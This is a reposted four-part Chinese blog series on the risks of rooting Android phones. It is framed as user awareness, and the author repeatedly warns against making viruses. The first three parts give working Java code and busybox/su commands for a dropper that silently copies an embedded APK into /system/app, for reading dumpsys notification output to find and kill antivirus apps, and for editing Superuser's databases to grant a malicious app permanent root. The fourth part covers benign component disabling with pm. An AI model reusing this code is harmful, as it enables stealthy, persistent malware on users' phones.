Android手机 Root 安全问题 机制

本帖转自：

       http://su1216.iteye.com/

       http://blog.csdn.net/su1216/

前提：你有一部已经root的android手机，并且手机中有busybox和superuser

写本博客的原因是：有无数用户觉得root没有什么风险，或者风险不会降临到自己头上。这里告诉大家，其实风险就在身边！

1、Android手机Root安全风险篇章一

导读：本文介绍一种简单的病毒以及如何“防御”。

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了，使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样，但是还是随意下载软件，不加小心，就会掉入陷阱。

有些人觉得，只要我下载软件的时候检查软件所申请的权限就好了，其实没有那么简单。

我们来看看如果一个软件，获得了一次root权限，那么它可以作些什么呢？

好吧，我们先来一次“静默安装”！

原理很简单，基本上相当于把apk push到手机里面，两个选择

data/app

system/app

如果我是病毒软件，我肯定选择push到system/app

我们需要制作两个apk，一个是真正目的的（病毒，real.apk），另一个是假的壳子（fake.apk）

首先先制作real.apk，我们只是用来测试，所以这个apk没有什么实际内容（为了节省大家时间，real.apk已经上传）。

real.apk里有一个receiver，用来监听开机的广播

Xml代码  

1. android.intent.action.BOOT_COMPLETED  

还有一个activity，没有什么实质内容，然后编译出apk，待用。

下面来制作壳子

新建一个android工程，将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单，它只负责把真实的应用安装到用户手机中，我们再细分一下，首先，将文件assets/real.apk提取出来，放到自己的私有目录中，在本例子中的目录为data/data/com.example.fake/files，这一步是不需要任何权限的

Java代码  

1. prepareButton.setOnClickListener(new View.OnClickListener() {  
2.     public void onClick(View v) {  
3.         File dataFolder = getFilesDir();  
4.                 File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");  
5.                 copyFile("real.apk", jar, mResources);  
6.     }  
7. });  

其中copFile函数见附件（就是一个简单的io读写操作），这里只给出伪代码

Java代码  

1. InputStream myInput = null;  
2. try  
3.     myInput = resources.getAssets().open(filePath);  
4.     ……  
5. catch  
6. ……  
7. finally  
8. ……  

第一步已经完成了，下一步请求root权限，然后将real.apk恶意安装给用户。

这里需要使用到busybox，命令如下

Shell代码  

1. busybox mount -o remount,rw /system  
2. busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk  
3. busybox rm /data/data/com.example.fake/files/real.apk  

之所以使用busybox，是因为手机里面可能没有mount、cp、rm等命令（我的手机里面就没有）

当然superuser需要同意你使用root权限

至此，你的入侵行为已经全部完成！

Java代码  

1. installButton.setOnClickListener(new View.OnClickListener() {  
2.         public void onClick(View v) {  
3.             String packageName = getPackageName();  
4.             String[] commands = {"busybox mount -o remount,rw /system",  
5.                                  "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",  
6.                                  "busybox rm /data/data/" + packageName + "/files/real.apk"};  
7.             Process process = null;  
8.             DataOutputStream dataOutputStream = null;  
9.   
10.             try {  
11.                 process = Runtime.getRuntime().exec("su");  
12.                 dataOutputStream = new DataOutputStream(process.getOutputStream());  
13.                 int length = commands.length;  
14.                 for (int i = 0; i < length; i++) {  
15.                     Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
16.                     dataOutputStream.writeBytes(commands[i] + "\n");  
17.                 }  
18.                 dataOutputStream.writeBytes("exit\n");  
19.                 dataOutputStream.flush();  
20.                 process.waitFor();  
21.             } catch (Exception e) {  
22.                 Log.e(TAG, "copy fail", e);  
23.             } finally {  
24.                 try {  
25.                     if (dataOutputStream != null) {  
26.                         dataOutputStream.close();  
27.                     }  
28.                     process.destroy();  
29.                 } catch (Exception e) {  
30.                 }  
31.             }  
32.         }  
33.     });  
34. }  

重启手机之后，real.apk就能工作了，它会接收到开机广播

如果你嵌入了更恶劣的代码，比如偷发短信，窃取邮件，那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中，用户不太会怀疑，即使怀疑了，他们也不敢轻易卸载！谁让他们自己随意刷rom呢，每个rom集成的软件都不一样。

如何防御？！

我不知道如何防御，最简单的办法就是，解压你来路不明的apk文件，看看assets文件下有没有什么可疑文件。当然，病毒可能会去掉或者修改文件名的后缀！

我手机中安装了卡巴斯基免费版，很可惜，它没有查出病毒（即使你的real.apk嵌入更恶意的代码）

大家可以试试其他杀毒软件，比如……希望大家能给个反馈结果

2、Android手机Root安全风险篇章二

导读：本文介绍杀毒软件和病毒是如何获取通知栏上的所有通知，并且利用其信息杀死应用。

上一篇将过如何利用root权限来做一次静默安装，有的人会说，安装apk就安装呗，反正哥有金山手机卫士，哥有360主动防御……他们都会弹出通知告诉我的！

安装了新的应用，手机会发送广播，这些所谓的杀毒软件监听这些广播，然后弹出通知

好吧，我承认，他们在一定意义上还是有点用处的，我们先把这个问题放一放，先来说两句题外话

360和和金山手机卫士都有一个让广大android开发者比较蛋疼的一个功能：那就是检查广告通知！

当有通知栏有广告的时候，运行360执行检查，它会告诉你是哪个应用程序的广告（当然，这里并不局限于广告，他们是获得所有通知，然后过滤），然后他会让用户选择：不处理；关闭通知（实际上是把这个进程kill掉，整个软件停止运行）；卸载此软件。

虽然我没有发布过android应用，但是我知道，靠软件赚钱的各位，本来收入已经够尴尬的了，再加上这些操蛋的软件提供这些操蛋的功能……哎

大家不喜欢收费软件那咱们就免费，点点广告支持一下总行吧，就是不点，你就放在那呗（当然，有的软件发起广告来没玩没了也挺操蛋）

说了这么多废话，我们就来看看那些所谓的杀毒软件是如何对付大家的

到了关键的地方，实际也就那么一行代码……又让大家失望了。。。

Shell代码  

1. adb shell dumpsys notification  

比如，我现在在我机器上面执行一下，输出的结果为

Log代码  

1. Current Notification Manager state:  
2.   Notification List:  
3.     NotificationRecord{41453c70 pkg=com.zdworks.android.toolbox id=7f090092 tag=null pri=0}  
4.       icon=0x0 / <name unknown>  
5.       contentIntent=null  
6.       deleteIntent=null  
7.       tickerText=null  
8.       contentView=null  
9.       defaults=0x0  
10.       flags=0x62  
11.       sound=null  
12.       vibrate=null  
13.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
14.     NotificationRecord{415f48e8 pkg=com.zdworks.android.toolbox id=7f090080 tag=null pri=100}  
15.       icon=0x7f0200fd / com.zdworks.android.toolbox:drawable/barttery_notify_icon  
16.       contentIntent=PendingIntent{41949028: PendingIntentRecord{412e3c20 com.zdworks.android.toolbox startActivity}}  
17.       deleteIntent=null  
18.       tickerText=电量提示  
19.       contentView=android.widget.RemoteViews@416e7b90  
20.       defaults=0x0  
21.       flags=0x22  
22.       sound=null  
23.       vibrate=null  
24.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
25.     NotificationRecord{416db3e0 pkg=android id=1040414 tag=null pri=100}  
26.       icon=0x10804f5 / android:drawable/stat_sys_adb  
27.       contentIntent=PendingIntent{41275de8: PendingIntentRecord{416dade8 android startActivity}}  
28.       deleteIntent=null  
29.       tickerText=USB 调试已连接  
30.       contentView=android.widget.RemoteViews@416daf40  
31.       defaults=0x0  
32.       flags=0x2  
33.       sound=null  
34.       vibrate=null  
35.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
36.     NotificationRecord{41790de8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}  
37.       icon=0x7f020010 / com.htc.android.psclient:drawable/usb_to_pc_notify  
38.       contentIntent=PendingIntent{416c3e38: PendingIntentRecord{417bc968 com.htc.android.psclient startActivity}}  
39.       deleteIntent=null  
40.       tickerText=null  
41.       contentView=android.widget.RemoteViews@4169d128  
42.       defaults=0x0  
43.       flags=0x2  
44.       sound=null  
45.       vibrate=null  
46.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
47.     
48.   mSoundNotification=null  
49.   mSound=com.android.server.NotificationPlayer@413e73b8  
50.   mVibrateNotification=null  
51.   mDisabledNotifications=0x0  
52.   mSystemReady=true  

现在大家知道了吧，这么简单就把咱们给搞定了

下面的事情就简单

1.想办法获取这段log

2.提取包名

3.根据数据库中的黑名单白名单不同处理

4.你的应用很可能在黑名单中，最后的结果也基本是进程被杀死

（这里就不演示3、4部分了，只演示1、2）

Java代码  

1. testButton = (Button)findViewById(R.id.exec);  
2. testButton.setOnClickListener(new View.OnClickListener() {  
3.     public void onClick(View v) {  
4.         String[] commands = {"dumpsys notification"};  
5.         Process process = null;  
6.         DataOutputStream dataOutputStream = null;  
7.   
8.         try {  
9.             process = Runtime.getRuntime().exec("su");  
10.             dataOutputStream = new DataOutputStream(process.getOutputStream());  
11.             int length = commands.length;  
12.             for (int i = 0; i < length; i++) {  
13.                 Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
14.                 dataOutputStream.writeBytes(commands[i] + "\n");  
15.             }  
16.             dataOutputStream.writeBytes("exit\n");  
17.             dataOutputStream.flush();  
18.               
19.             process.waitFor();  
20.               
21.             BufferedReader reader = null;  
22.             reader = new BufferedReader(new InputStreamReader(process.getInputStream()));    
23.             String line = "";  
24.             List<String> lineList = new ArrayList<String>();  
25.             final StringBuilder log = new StringBuilder();    
26.             String separator = System.getProperty("line.separator");  
27.             Pattern pattern = Pattern.compile("pkg=[^\\s]+");  
28.             while ((line = reader.readLine()) != null) {  
29.                 if(line != null && line.trim().startsWith("NotificationRecord")){  
30.                     Matcher matcher = pattern.matcher(line);  
31.                     if(matcher.find()){  
32.                         lineList.add(matcher.group());  
33.                     }else{  
34.                         Log.e(TAG, "what's this?!");  
35.                     }  
36.                 }  
37.                   
38.                 log.append(line);  
39.                 log.append(separator);  
40.             }  
41.             Log.v(TAG, "log:" + log.toString());  
42.               
43.             int size = lineList.size();  
44.             for (int i = 0; i < size; i++) {  
45.                 Log.i(TAG, "app:" + lineList.get(i));  
46.             }  
47.         } catch (Exception e) {  
48.             Log.e(TAG, "copy fail", e);  
49.         } finally {  
50.             try {  
51.                 if (dataOutputStream != null) {  
52.                     dataOutputStream.close();  
53.                 }  
54.                 process.destroy();  
55.             } catch (Exception e) {  
56.             }  
57.         }  
58.         Log.v(TAG, "finish");  
59.         }  
60.     });  
61. }  

上面的这段代码实在没什么技术含量，让给位网友见笑了

按顺序简单解释一下

首先，我们先执行dumpsys notification这条命令，这在上一期的代码中已经有了

然后通过process.getInputStream()获得其输出按行读取，这里只关心类似于下面这种的log

Log代码  

1. NotificationRecord{40dacad8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}  

然后从中提取出包名即可

其中的正则就是为了提取包名用的，想了解正则的同学可以看我的正则教程

深入入门正则表达式（java）

这里我执行的结果为（看来有一个应用提示了两个通知）

Java代码  

1. app:pkg=com.zdworks.android.toolbox  
2. app:pkg=com.zdworks.android.toolbox  
3. app:pkg=android  
4. app:pkg=com.htc.android.psclient   

之后的工作就是把这个list展示给用户，让用户去选择了

既然360可以这样，病毒为什么不可以呢？病毒Fake.apk可以在半夜偷偷安装应用Real.apk，几秒钟后，Fake.apk执行上面的这些操作，获取360，然后kill！爽！

大家有兴趣可以反编译一下金山和360，他们基本就是这么干的，我发现360比较坏，至于为什么这么说，大家自己去发现吧

ps：我使用的是卡巴斯基免费版，杀毒软件是不会去管有没有广告推送的，广告不是病毒，杀毒软件也不应该干一些不该干的事！

请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！

3、Android手机Root安全风险篇章三

导读：本文介绍病毒如何篡改superuser，使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。

继续之前两篇文章写，如果路过的同学有疑问，请先看前两篇

有同学说，你的Fake.apk需要把应用copy到system下才行，这是需要root权限的。如果用户允许了你一次root请求，你当着用户的面copy，那么copy之后，系统会发送广播，告知有新的apk被安装，杀毒软件就会发现你。

是的，这确实是个问题，但是病毒就是病毒，总会想办法让你病倒的，别急。

superuser把数据记录到数据库中，那病毒为什么不去修改你的数据库呢？如果修改成功，那么岂不是永久获得了root权限，以后再也用不着你来批准我了，我自己批准！

很不幸，病毒如果获得了一次root权限，那么上面所说的事情是完全可以做到的。

我们来演示一下，我手机中装有superuser，版本为3.0.7

我还装了一个re管理器

首先，我们打开re管理器，这时候re管理器请求使用root权限，superuser会弹出提示，询问用户是否允许

我们点击允许之前，勾选“记住”，然后允许。

这一步是为了获取：应用获得永久root权限时，应该在superuser数据库插入什么样的数据。

然后我们将数据库导出

/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注

su.db

permissions.sqlite

我们以permissions.sqlite为例，下图为表结构：

然后来看看病毒应该如何修改数据

病毒只需要关心几个字段

uid，包名，应用名，exec_uid=0，exec_cmd=/system/bin/sh，allow=1

病毒如何获得自己的包名和应用名，这个大家没什么疑问吧

ActivityManager.RunningAppProcessInfo中含有uid的信息

下面的代码可以获得当前应用的uid

Java代码  

1. public static int getUid(Context context,String packageName){  
2.     ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);  
3.     List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();  
4.     int size = runningAppProcesses.size();  
5.     ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;  
6.     for (int i = 0; i < size; i++) {  
7.         runningAppProcessInfo = runningAppProcesses.get(i);  
8.         if(packageName.equals(runningAppProcessInfo.processName)){  
9.             return runningAppProcessInfo.uid;  
10.         }  
11.     }  
12.     return -1;  
13. }  

好了，这个表已经搞定了，su.db和这个几乎一样，也就不再演示了。

最后的问题是，如何修改手机中的数据库，显然，我们使用sqlite3，但是有的手机居然没有这个问题，所以病毒很可能自己捆绑了一个，然后复制到system/bin或者system/xbin中

sqlite3从哪来？哪都有。。比如你可以从模拟器pull出来一份。

好了，全部搞定了

最终我们分两步

1准备sqlite3这个文件，以防万一

Java代码  

1. prepareButton.setOnClickListener(new View.OnClickListener() {  
2.     public void onClick(View v) {  
3.         File dataFolder = getFilesDir();  
4.     File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");  
5.     copyFile("db/sqlite3", sqlite, mResources);  
6.     }  
7. });  

2申请root权限，一旦成功，那就修改数据库

Java代码  

1. String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +  
2.                             "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";  
3. String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +  
4.                                                     "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";  
5.   
6. String[] commands = {"busybox mount -o remount,rw /system"  
7.                             ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"  
8.                     ,"busybox rm /data/data/" + packageName + "/files/sqlite3"  
9.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"  
10.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};  

执行即可

从此，病毒就脱离你的掌控了，一发不可收拾

结语

由于本博客只是用于演示，所以有些不严密的地方。

比如：首次使用superuser之前，它的数据库的表可能还没有创建，所以有些sql操作可能会失败

我也不打算写个完整的病毒，这样一些人就会想着干一些不干净的事情。仅供学习交流

看来大家每次批准root之后，还要去superuser中的列表看看有没有什么异常才行

请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！

4、Android手机Root安全风险篇章四

导读： 本文介绍了如何实现禁止开机启动以及如何使应用失效。

希望大家不要制造各种流氓软件或病毒

这一期我们来关注以下某些优化软件的开机优化功能

禁止开机启动和禁止

很多软件都有开机优化功能，比如360，金山，海卓……

我觉得海卓页面还不错，所以就截一张海卓的图片吧

点击右边的小旗，会有一些选项，这里只说两个

开机启动

程序状态

在android 4.1（jelly bean）版本中，settings中查看应用信息的地方有一个disable按钮，

disable掉这个应用之后，在launcher列表中是查询不到的，也就是说，你无法启动这个应用了，也合理，但是如果你想enable就有些麻烦了。你得在settings中的应用列表中找到这个应用（一般出厂的手机，都有几十个应用，再加上自己安装的，应用数量很容易就100+了），然后再enable，这时候，launcher中就能再次看到这个应用了

（ps：还可以控制是否显示通知，这个功能估计大家都喜欢）

但是4.0及其之前的版本是没有disable这个功能的，但是如果root了手机，那么我们是可以实现这个功能的。

首选我们先看看手机中应用哪些是enabled的

Shell代码  

1. $ pm list package -e  
2. package:android  
3. package:cn.buding.coupon  
4. package:cn.buding.moviecoupon  
5. package:cn.chinabus.main  
6. package:cn.chinabus.metro.main  
7. package:cn.com.fetion  
8. ……  

我看了一下我的手机，居然有249个enabled的程序，汗！

Shell代码  

1. $ pm list package -e | busybox wc -l                           
2. 249  

查看disabled的应用改下选项就可以了

Java代码  

1. $ pm list package -d  

我们先来看看pm都能做些什么

Java代码  

1. pm list packages: prints all packages, optionally only  
2.   those whose package name contains the text in FILTER.  Options:  
3.     -f: see their associated file.  
4.     -d: filter to only show disbled packages.  
5.     -e: filter to only show enabled packages.  
6.     -s: filter to only show system packages.  
7.     -3: filter to only show third party packages.  
8.     -u: also include uninstalled packages.  
9.   
10.   
11. pm enable, disable, disable-user: these commands change the enabled state  
12.   of a given package or component (written as "package/class").  

这里只截取了一部分，详情请自行查看pm帮助

大家可以拿一个无关紧要的程序试试，disable再enable，看看launcher有什么变化（需要root权限，之前的查询是不需要root权限的） ，比如：

Java代码  

1. pm disable cn.eoe.wiki  
2. pm enable cn.eoe.wiki  

注：切换到root用户时，执行pm可能会出现段错误（android 4.0+）

Shell代码  

1. shell@android:/ # pm  
2. [1] + Stopped (signal)     pm   
3. shell@android:/ # pm                                                             
4. [2] + Stopped (signal)     pm   
5. [1] - Segmentation fault   pm   

我们在执行pm之前，export一下LD_LIBRARY_PATH即可

Shell代码  

1. export LD_LIBRARY_PATH=/vendor/lib:/system/lib  

我们可以查看一下这个变量

Java代码  

1. echo $LD_LIBRARY_PATH  

在我机器上面，普通用户是设置了这个变量的，切换到root的时候，这个变量就空了，所以需要重新export一下

第一个功能程序状态 讲解就结束了。

其实大多数人关心的是第二个功能开机启动 问题

首选，我们需要明确的是：我们需要知道哪些应用具有开机启动功能。

其实精确到应用还不可以，因为我们不是要把应用禁止掉，而是要把接收开机启动的Intent的receiver禁止掉，所以我们需要精确到class

首先我们来看看接收BOOT_COMPLETED的receiver在manifest中如何注册的

Xml代码  

1. <receiver android:name=".BootReceiver" android:enabled="true">  
2.     <intent-filter>      
3.         <action android:name="android.intent.action.BOOT_COMPLETED"/>   
4.     </intent-filter>  
5. </receiver>  

这里有一点是需要特别注意的： android:enabled="true"

enabled这个属性，大多数情况下我们是不显式写在这里的，当然，默认值就为true

禁止开机启动，其实就是设置接收BOOT_COMPLETED的receiver状态为disabled，即android:enabled="false"

首先要解决的就是如何获得所有接收BOOT_COMPLETED的receiver

开始我也搜索了一下，发现网上的很多方法都不可用，这里给大家说明一下：

错误方法1

Java代码  

1. Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);  
2. List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_RESOLVED_FILTER);  

这里返回的list都是enabled的receiver

错误方法2

Java代码  

1. List<ApplicationInfo> allAppsList = mPackageManager.getInstalledApplications(0);  
2. int allAppsListSize = allAppsList.size();  
3. for (int i = 0; i < allAppsListSize; i++) {  
4.     ApplicationInfo applicationInfo = allAppsList.get(i);  
5.     PackageInfo packageInfo = mPackageManager.getPackageInfo(applicationInfo.packageName, PackageManager.GET_RECEIVERS);  
6.     ActivityInfo[] receivers = packageInfo.receivers;  
7.     if(receivers != null) {  
8.             ……  
9.     }  
10. }  

这里获得的也都是enable的

错误方法3

有的人使用下面代码片断

Java代码  

1. if (PackageManager.PERMISSION_GRANTED == mPackageManager.checkPermission("android.permission.RECEIVE_BOOT_COMPLETED", app.packageName))  

检查package干什么？！

其实android原生给我们提供了如何获得所有component的api（enabled+disabled）

int android.content.pm.PackageManager.GET_DISABLED_COMPONENTS = 512 [0x200]

PackageInfo flag: include disabled components in the returned info.

这样，我们使用如下代码就可以了

Java代码  

1. Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);  
2. List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_DISABLED_COMPONENTS);  

然后我们需要知道组件的状态，disabled还是enabled

Java代码  

1. ComponentName mComponentName = new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name);  
2. Log.d(TAG, "COMPONENT_ENABLED_STATE:" + mPackageManager.getComponentEnabledSetting(mComponentName) + "\tpackageName:" + resolveInfo.activityInfo.packageName);  

接下来的事情就简单了，如果你想禁止包名为package的应用开机启动，那么只需在上面list中，找到所有此包下的receiver，然后

Shell代码  

1. pm disable package/class  
2. pm enable package/class  

即可

我们需要关注下面几个COMPONENT_ENABLED_STATE

如果是自己应用中想disable或者enable自己的组件，那么是不需要任何权限的，当然不能使用pm命令

在原生email(4.0)应用中，旧有此功能，我们来看看email的代码

void com.android.email.service.EmailBroadcastProcessorService.setComponentEnabled(Class<?> clazz, boolean enabled)

Java代码  

1. private void setComponentEnabled(Class<?> clazz, boolean enabled) {  
2.     final ComponentName c = new ComponentName(this, clazz.getName());  
3.     getPackageManager().setComponentEnabledSetting(c,  
4.             enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED  
5.                     : PackageManager.COMPONENT_ENABLED_STATE_DISABLED,  
6.             PackageManager.DONT_KILL_APP);  
7. }  

void com.android.email.Email.setServicesEnabled(Context context, boolean enabled)方法中也有参考代码

至此，开机启动、禁用程序 就全部讲解完了。

我们发现，海卓这个应用居然有这么多变态功能，居然可以禁止所有事件。。。这是不是过分了点，不过程序的原理应该都在我这篇博客之中了，我不太希望有禁止所有事件这种功能，那还不如把这个app删掉呢，何必折磨它呢？！

请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！